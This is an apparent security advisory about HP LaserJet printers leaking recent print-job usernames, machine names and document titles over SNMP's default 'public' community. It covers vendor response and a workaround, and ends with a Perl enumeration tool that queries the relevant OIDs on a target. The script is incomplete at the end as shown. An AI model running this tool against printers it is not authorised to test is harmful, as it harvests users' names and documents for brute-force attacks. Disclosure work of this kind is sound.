Summary
HP LaserJet printers has an extensive administrative user interface provided over SNMP. SNMP is normally used for monitoring applications and servers performance but can also be used to perform remote configurations.

HP LaserJet stores network information from document print requests, this information accessible via SNMP, thus allowing malicious attacker to map/enumerate network.

Credit:
The information has been provided by George Hedfors.
The original article can be found at: http://www.pinion.se

Details
Vulnerable Systems:
* HP LaserJet 2430, (Possibly other HP printers that operate using the Jetdirect controls.)

HP LaserJet printers store information regarding recently printed documents. Information such as document name, title, number of pages, document size, user who has printed the document and the machine name where the print job was initiated.

This document information "cache" is flushed when the document is older then one hour but in mean time, the information can be obtained by anyone with access to the network and who has information regarding the "public" SNMP community configured at the printer.

In reality, an intruder could use this information to obtain possible usernames that later could be used in a login brute force attack against servers.

Vendor Status:
Hewlet Packard was informed about this issue on September 7, 2005.
Vendor response: "This information is kept by the printer in the printer specific MIB. Jetdirect controls the authentication and subsequent authorization to all the MIBs. This authentication/authorization can be controlled via SNMP settings."
HP tracking number: SSRT051032

Workaround:
There is no direct way to prevent the printer from exposing information about recently printed documents except for disabling SNMP.
Access to administrative features of the LaserJet, including SNMP, can be controlled and limited in various ways depending on the security requirements of the customer's environment. For more information please refer to "HP Jetdirect Embedded Print Server Administrator's Guide", chapter 7 - Security Features.

References:
"HP Jetdirect Embedded Print Server Administrator's Guide"

Additional information regarding HP Jetdirect security is availablehere:
http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=bpj05999
http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c00004828

Exploit:
The tool attached provides a possibility to extract the described information.

#!/usr/bin/perl
###################################
#
# HP LaserJet SNMP User name enumeration tool v0.2 by
# Pinion Labs 050705
# george[46]hedfors[64]pinion[46]se
# http://www.pinion.se
#
# Description
# HP LaserJet printers loggs recent printed documents with
# timestamp, size, number of pages, username and machine name.
# These can be extracted using a specially crafted SNMP Object ID.
#
# Document name under 1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.1
# Document pages under 1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.12
# Document size under 1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.14
# Usernames are found under 1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.1
# Machine names under 1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.2
#
# Output format
# DocID:Username:Machine:Pages:Size:DocName
#
#

use Net::SNMP;

# Number of errors in row that is tolerated before exit
$tolerance = 10;
# Default SNMP community to use
$defcommunity = "public";
# Default SNMP port to use
$defport = 161;

## END OF CONFIG ##

$host = $ARGV[0] || die "syntax: $0 victim.com \[community\] ".
"\[startid\]\n";
$community = $ARGV[1] || $defcommunity;
$startid = $ARGV[2] || 0;

($session, $error) = Net::SNMP->session(-hostname => $host,
-community => $community,
-port => $defport);

if (!defined($session)) {
printf("ERROR: %s.\n", $error);
exit 1;
}

for($i = $startid; $err < $tolerance; $i++) {
$oid = "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.1.$i.0";
$result = $session->get_request(-varbindlist => [$oid]);

if (!defined($result)) {
if($found > 0) {
$err++;
}
} else {
$found++;

($null, $user) = split(/\=/, $result->{$oid}, 2);

$oid = "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.2.$i.0";
$result = $session->get_request(-varbindlist => [$oid]);
($null, $id) = split(/\=/, $result->{$oid}, 2);

$oid = "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.1.$i.0";
$result = $session->get_request(-varbindlist => [$oid]);
$doc = hex2ascii($result->{$oid});

$oid = "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.12.$i.0";
$result = $session->get_request(-varbindlist => [$oid]);
$pages = $result->{$oid};

$oid = "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.14.$i.0";
$result = $session->get_request(-varbindlist => [$oid]);
$size = $result->{$oid};

printf("%d:%s:%s:%s:%s:%s\n", $i, $user, $id, $pages, $size, $doc);

$err = 0;
}
}

$session->close;

exit 0;

sub hex2ascii() {
my $hex = shift;
my $asc;

for($n = 6; $n < length($hex); $n += 2) {
$asc .= chr(hex(substr($hex, $n, 2)));
}